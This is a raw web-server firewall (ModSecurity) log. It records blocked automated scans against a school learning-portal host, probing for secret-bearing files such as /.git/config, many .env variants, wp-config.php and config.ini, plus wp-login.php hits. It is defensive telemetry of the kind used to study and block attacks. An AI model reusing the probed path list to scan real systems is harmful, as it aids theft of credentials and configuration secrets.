[Sun Nov 30 01:17:20.479886 2025] [:error] [pid 29714:tid 29738] [client 3.9.17.183:34534] [client 3.9.17.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aSsqoL76_KNwefuiUY9v2wAAAFY"]
[Sun Nov 30 01:17:21.498543 2025] [:error] [pid 58730:tid 58775] [client 3.9.17.183:34538] [client 3.9.17.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aSsqoaDQq6rwusUXQKjblgAAAAo"]
[Sun Nov 30 01:17:22.517937 2025] [:error] [pid 29714:tid 29726] [client 3.9.17.183:34554] [client 3.9.17.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aSsqor76_KNwefuiUY9v4wAAAEo"]
[Sun Nov 30 01:17:23.533391 2025] [:error] [pid 58730:tid 58783] [client 3.9.17.183:34562] [client 3.9.17.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aSsqo6DQq6rwusUXQKjbmgAAABI"]
[Sun Nov 30 01:17:24.554045 2025] [:error] [pid 42164:tid 42234] [client 3.9.17.183:34572] [client 3.9.17.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aSsqpNip8Nhatsq7KxzZHQAAAQw"]
[Sun Nov 30 01:17:25.570936 2025] [:error] [pid 42252:tid 42260] [client 3.9.17.183:34582] [client 3.9.17.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aSsqpbweMxCk051n8_-zcgAAAUY"]
[Sun Nov 30 01:17:26.586959 2025] [:error] [pid 42163:tid 42215] [client 3.9.17.183:34594] [client 3.9.17.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "aSsqppnaEs-eGc51wg2O6AAAANQ"]
[Sun Nov 30 01:17:36.800078 2025] [:error] [pid 29714:tid 29720] [client 3.9.17.183:54782] [client 3.9.17.183] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.ini"] [unique_id "aSsqsL76_KNwefuiUY9v8gAAAEQ"]
[Sun Nov 30 01:17:49.067305 2025] [:error] [pid 42162:tid 42173] [client 3.9.17.183:38204] [client 3.9.17.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php"] [unique_id "aSsqvdePpz4Ije-_EjrtXgAAAIY"]
[Sun Nov 30 01:17:50.085059 2025] [:error] [pid 42164:tid 42230] [client 3.9.17.183:38220] [client 3.9.17.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/composer.json"] [unique_id "aSsqvtip8Nhatsq7KxzZOwAAAQg"]
[Sun Nov 30 01:26:22.922643 2025] [:error] [pid 42163:tid 42208] [client 54.150.216.41:45212] [client 54.150.216.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aSssvpnaEs-eGc51wg2RRgAAAM0"]
[Sun Nov 30 01:26:23.460449 2025] [:error] [pid 42163:tid 42202] [client 54.150.216.41:48006] [client 54.150.216.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aSssv5naEs-eGc51wg2RRwAAAMc"]
[Sun Nov 30 01:26:24.000493 2025] [:error] [pid 33337:tid 33343] [client 54.150.216.41:48010] [client 54.150.216.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aSssvz7HzFQftKzaJgJvcQAAAcI"]
[Sun Nov 30 01:26:24.540824 2025] [:error] [pid 42163:tid 42219] [client 54.150.216.41:48018] [client 54.150.216.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aSsswJnaEs-eGc51wg2RSgAAANg"]
[Sun Nov 30 01:26:25.075600 2025] [:error] [pid 42252:tid 42260] [client 54.150.216.41:48024] [client 54.150.216.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aSsswbweMxCk051n8_-1ywAAAUY"]
[Sun Nov 30 01:26:25.612064 2025] [:error] [pid 42164:tid 42223] [client 54.150.216.41:48040] [client 54.150.216.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aSsswdip8Nhatsq7KxzbcQAAAQE"]
[Sun Nov 30 01:26:26.152383 2025] [:error] [pid 33303:tid 33318] [client 54.150.216.41:48050] [client 54.150.216.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "aSsswvvL3Xz3V8uL8l5pegAAAY0"]
[Sun Nov 30 01:26:31.591967 2025] [:error] [pid 42252:tid 42266] [client 54.150.216.41:48142] [client 54.150.216.41] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.ini"] [unique_id "aSssx7weMxCk051n8_-11QAAAUw"]
[Sun Nov 30 01:26:38.122368 2025] [:error] [pid 33303:tid 33314] [client 54.150.216.41:58482] [client 54.150.216.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php"] [unique_id "aSsszvvL3Xz3V8uL8l5pggAAAYk"]
[Sun Nov 30 01:26:38.667505 2025] [:error] [pid 42252:tid 42255] [client 54.150.216.41:58486] [client 54.150.216.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/composer.json"] [unique_id "aSsszrweMxCk051n8_-12QAAAUE"]
[Sun Nov 30 05:23:49.615393 2025] [:error] [pid 60913:tid 60926] [client 15.223.36.156:46480] [client 15.223.36.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aStkZV4SUvyDn5e4S0Jr6AAAAss"]
[Sun Nov 30 05:23:50.493501 2025] [:error] [pid 60913:tid 60920] [client 15.223.36.156:46482] [client 15.223.36.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aStkZl4SUvyDn5e4S0Jr7AAAAsU"]
[Sun Nov 30 05:23:51.372833 2025] [:error] [pid 51537:tid 51557] [client 15.223.36.156:46492] [client 15.223.36.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aStkZ7cSSdjzCoyn8VtC2wAAAFI"]
[Sun Nov 30 05:23:52.251372 2025] [:error] [pid 63468:tid 63494] [client 15.223.36.156:46504] [client 15.223.36.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aStkaKGdTyPw0PxgJety9gAAABg"]
[Sun Nov 30 05:23:53.129459 2025] [:error] [pid 24971:tid 24989] [client 15.223.36.156:46520] [client 15.223.36.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aStkaTUZcbcCmcDjhQ_SagAAANA"]
[Sun Nov 30 05:23:54.007149 2025] [:error] [pid 60572:tid 60596] [client 15.223.36.156:46526] [client 15.223.36.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aStkaoVcy1tAF6kmNWnrzQAAAhY"]
[Sun Nov 30 05:23:54.885765 2025] [:error] [pid 26121:tid 26140] [client 15.223.36.156:46532] [client 15.223.36.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "aStkau3yAGZUIB-ACmBBKgAAAdE"]
[Sun Nov 30 05:24:03.649474 2025] [:error] [pid 24971:tid 24996] [client 15.223.36.156:43254] [client 15.223.36.156] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.ini"] [unique_id "aStkczUZcbcCmcDjhQ_SdgAAANc"]
[Sun Nov 30 05:24:14.234040 2025] [:error] [pid 54236:tid 54279] [client 15.223.36.156:39456] [client 15.223.36.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php"] [unique_id "aStkfpLzwJzIgo8dntCG9wAAARg"]
[Sun Nov 30 05:24:15.112050 2025] [:error] [pid 26121:tid 26137] [client 15.223.36.156:39464] [client 15.223.36.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/composer.json"] [unique_id "aStkf-3yAGZUIB-ACmBBQwAAAc4"]
[Sun Nov 30 20:39:05.602365 2025] [:error] [pid 9374:tid 9377] [client 147.182.172.19:62904] [client 147.182.172.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.172.19, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aSw66YEwr5jt_cokVdx3KAAAAwA"]
[Sun Nov 30 20:39:06.766597 2025] [:error] [pid 10608:tid 10639] [client 147.182.172.19:61772] [client 147.182.172.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.172.19, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aSw66uG4qpknNxmxP5eGywAAA8I"]
[Mon Dec 01 20:55:57.130754 2025] [authz_core:error] [pid 37487:tid 37531] [client 206.81.12.187:58036] AH01630: client denied by server configuration: /home/memocar/seqta-learn.carmel.wa.edu.au/server-status
[Mon Dec 01 20:55:59.637521 2025] [:error] [pid 42358:tid 42362] [client 206.81.12.187:58068] [client 206.81.12.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aS2QXyp1UoALeoaVXbeq1AAAAIE"]
[Mon Dec 01 20:56:00.265016 2025] [:error] [pid 37581:tid 37586] [client 206.81.12.187:58078] [client 206.81.12.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aS2QYIpLkLAzaHoItganRQAAAUM"]
[Mon Dec 01 21:01:48.396836 2025] [:error] [pid 37581:tid 37590] [client 185.169.252.163:52158] [client 185.169.252.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aS2RvIpLkLAzaHoItgapegAAAUc"]
[Tue Dec 02 14:29:16.809022 2025] [:error] [pid 5273:tid 5310] [client 18.138.234.72:54462] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aS6HPCMmXO5H1kNwHHXjYgAAAYg"]
[Tue Dec 02 14:29:17.219209 2025] [:error] [pid 5273:tid 5325] [client 18.138.234.72:54472] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aS6HPSMmXO5H1kNwHHXjYwAAAZc"]
[Tue Dec 02 14:29:17.616619 2025] [:error] [pid 3648:tid 3701] [client 18.138.234.72:34518] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aS6HPeQEp5icp6XOJr18MQAAAFE"]
[Tue Dec 02 14:29:18.008989 2025] [:error] [pid 3648:tid 3697] [client 18.138.234.72:34532] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.remote"] [unique_id "aS6HPuQEp5icp6XOJr18MgAAAE0"]
[Tue Dec 02 14:29:18.408844 2025] [:error] [pid 3649:tid 3731] [client 18.138.234.72:34536] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aS6HPrwjL4uqC6YFjxE3pAAAAJQ"]
[Tue Dec 02 14:29:18.800487 2025] [:error] [pid 3648:tid 3687] [client 18.138.234.72:34544] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aS6HPuQEp5icp6XOJr18NAAAAEM"]
[Tue Dec 02 14:29:19.192861 2025] [:error] [pid 3647:tid 3674] [client 18.138.234.72:34556] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "aS6HP1JaqGDFgh_0XI9FOwAAABU"]
[Tue Dec 02 14:29:19.582439 2025] [:error] [pid 5272:tid 5297] [client 18.138.234.72:34566] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "aS6HP-wbFoRzPGfZYVQT6wAAAVY"]
[Tue Dec 02 14:29:19.973624 2025] [:error] [pid 48650:tid 48661] [client 18.138.234.72:34568] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "aS6HP4QuWSn3xrJsXbkJUwAAAcY"]
[Tue Dec 02 14:29:20.366289 2025] [:error] [pid 5232:tid 5253] [client 18.138.234.72:34582] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.sample"] [unique_id "aS6HQAApmO-auDy1ob6fIAAAARM"]
[Tue Dec 02 14:29:20.759094 2025] [:error] [pid 5232:tid 5256] [client 18.138.234.72:34598] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "aS6HQAApmO-auDy1ob6fIQAAARY"]
[Tue Dec 02 14:29:21.158322 2025] [:error] [pid 3649:tid 3716] [client 18.138.234.72:34610] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "aS6HQbwjL4uqC6YFjxE3sQAAAIU"]
[Tue Dec 02 14:29:21.552355 2025] [:error] [pid 48650:tid 48679] [client 18.138.234.72:34614] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aS6HQYQuWSn3xrJsXbkJVQAAAdg"]
[Tue Dec 02 14:29:21.949173 2025] [:error] [pid 5273:tid 5303] [client 18.138.234.72:34628] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.1"] [unique_id "aS6HQSMmXO5H1kNwHHXjZQAAAYE"]
[Tue Dec 02 14:29:27.541970 2025] [:error] [pid 5273:tid 5305] [client 18.138.234.72:34632] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.2"] [unique_id "aS6HRyMmXO5H1kNwHHXjbQAAAYM"]
[Tue Dec 02 14:29:27.935932 2025] [:error] [pid 3760:tid 3781] [client 18.138.234.72:60276] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod.local"] [unique_id "aS6HR1jLYEjdWVcKgVUdDQAAANM"]
[Tue Dec 02 14:29:28.335340 2025] [:error] [pid 3647:tid 3655] [client 18.138.234.72:60292] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev.local"] [unique_id "aS6HSFJaqGDFgh_0XI9FSwAAAAI"]
[Tue Dec 02 14:29:28.727488 2025] [:error] [pid 3649:tid 3727] [client 18.138.234.72:60298] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/vendor/.env"] [unique_id "aS6HSLwjL4uqC6YFjxE3xAAAAJA"]
[Tue Dec 02 14:29:29.121039 2025] [:error] [pid 5232:tid 5256] [client 18.138.234.72:60302] [client 18.138.234.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/lib/.env"] [unique_id "aS6HSQApmO-auDy1ob6fLgAAARY"]
